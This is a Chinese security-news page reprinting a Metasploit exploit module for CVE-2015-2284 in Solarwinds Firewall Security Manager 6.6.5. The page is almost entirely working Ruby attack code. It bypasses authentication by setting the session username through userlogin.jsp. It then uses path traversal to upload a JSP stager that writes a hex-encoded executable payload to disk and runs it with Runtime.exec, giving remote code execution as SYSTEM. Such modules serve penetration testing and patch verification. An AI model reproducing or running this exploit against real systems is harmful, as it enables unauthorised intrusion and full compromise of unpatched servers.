首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Exploit
来源:metasploit.com 作者:sinn3r 发布时间:2015-04-07  
##
# This module requires Metasploit: http://metasploit.com/download
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
      'Description'    => %q{
        This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
        6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
        due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
        the 'username' attribute before authentication. The second problem is that the settings-new.jsp
        file will only check the 'username' attribute before authorizing the 'uploadFile' action,
        which can be exploited and allows the attacker to upload a fake xls host list file to the
        server, and results in arbitrary code execution under the context of SYSTEM.
  
        Depending on the installation, by default the Change Advisor web server is listening on port
        48080 for an express install. Otherwise, this service may appear on port 8080.
  
        Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
        download it from the module's References section.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod'# Original discovery
          'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2015-2284'],
          ['OSVDB', '81634'],
          ['ZDI', '15-107'],
        ],
      'DefaultOptions'  =>
        {
          'RPORT'    => 48080 # Could be 8080 too
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Solarwinds Firewall Security Manager 6.6.5', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 13 2015',
      'DefaultTarget'  => 0))
  
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
      ], self.class)
  end
  
  
  # Returns a checkcode that indicates whether the target is FSM or not
  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
  
    if res && res.body =~ /SolarWinds FSM Change Advisor/i
      return Exploit::CheckCode::Detected
    end
  
    Exploit::CheckCode::Safe
  end
  
  
  # Exploit/run command
  def exploit
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
    end
  
    # Stage 1 of the attack
    # 'admin' is there by default and you can't delete it
    username = 'admin'
    print_status("Auth bypass: Putting session value: username=#{username}")
    sid = put_session_value(username)
    print_status("Your SID is: #{sid}")
  
    # Stage 2 of the attack
    exe = generate_payload_exe(code: payload.encoded)
    filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
    # Because when we get a shell, we will be at:
    # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
    # So we have to adjust this filename in order to delete the file
    register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
    malicious_file = get_jsp_payload(exe, filename)
    print_status("Uploading file: #{filename} (#{exe.length} bytes)")
    upload_exec(sid, filename, malicious_file)
  end
  
  
  private
  
  
  # Returns a write-stager
  # I grabbed this from Juan's sonicwall_gms_uploaded.rb module
  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
  
    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
  
    jspraw << %Q|int numbytes = data.length();\n|
  
    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|
  
    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|
  
    jspraw
  end
  
  # Returns JSP that executes stuff
  # This is also from Juan's sonicwall_gms_uploaded.rb module
  def jsp_execute_command(command)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|
  
    jspraw
  end
  
  
  # Returns a JSP payload
  def get_jsp_payload(exe, output_file)
    jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
  end
  
  
  # Creates an arbitrary username by abusing the server's unsafe use of session.putValue
  def put_session_value(value)
    res = send_request_cgi(
      'uri'      => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
      'method'   => 'GET',
      'vars_get' => { 'username' => value }
    )
  
    unless res
      fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
    end
  
    get_sid(res)
  end
  
  
  # Returns the session ID
  def get_sid(res)
    cookies = res.get_cookies
    sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
    sid
  end
  
  
  # Uploads a malicious file and then execute it
  def upload_exec(sid, filename, malicious_file)
    res = upload_file(sid, filename, malicious_file)
  
    if !res
      fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
    elsif res.body.include?('java.lang.NoClassDefFoundError')
      print_status('Payload being treated as XLS, indicates a successful upload.')
    else
      print_status('Unsure of a successful upload.')
    end
  
    print_status('Attempting to execute the payload.')
    exec_file(sid, filename)
  end
  
  
  # Uploads a malicious file
  # By default, the file will be saved at the following location:
  # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
  def upload_file(sid, filename, malicious_file)
    # Put our payload in:
    # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
    filename = "../../jsp/#{filename}"
  
    mime_data = Rex::MIME::Message.new
    mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
    mime_data.add_part('uploadFile', nil, nil, 'name="action"')
  
    proto = ssl ? 'https' : 'http'
    ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
  
    send_request_cgi(
      'uri'      => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
      'method'   => 'POST',
      'vars_get' => { 'action' => 'uploadFile' },
      'ctype'    => "multipart/form-data; boundary=#{mime_data.bound}",
      'data'     => mime_data.to_s,
      'cookie'   => sid,
      'headers'  => { 'Referer' => ref }
    )
  end
  
  
  # Executes the malicious file and get code execution
  # We will be at this location:
  # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
  def exec_file(sid, filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fsm', filename)
    )
  end
  
  
  # Overrides the original print_status so we make sure we print the rhost and port
  def print_status(msg)
    super("#{rhost}:#{rport} - #{msg}")
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·JBoss Seam 2 File Upload and E
·Airties Air5650v3TT Remote Sta
·w3tw0rk / Pitbull Perl IRC Bot
·Samba CVE-2015-0240 远程代码执
·Webgate WESP SDK 1.2 ChangePas
·Mac OS X rootpipe Local Privil
·WebGate eDVR Manager 2.6.4 Aud
·Barracuda Firmware <= 5.0.0.01
·WebGate WinRDS 2.0.8 PlaySiteA
·Elipse SCADA 2.29 b141 - DLL H
·WebGate eDVR Manager 2.6.4 Sit
·Mac OS X Rootpipe Privilege Es
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved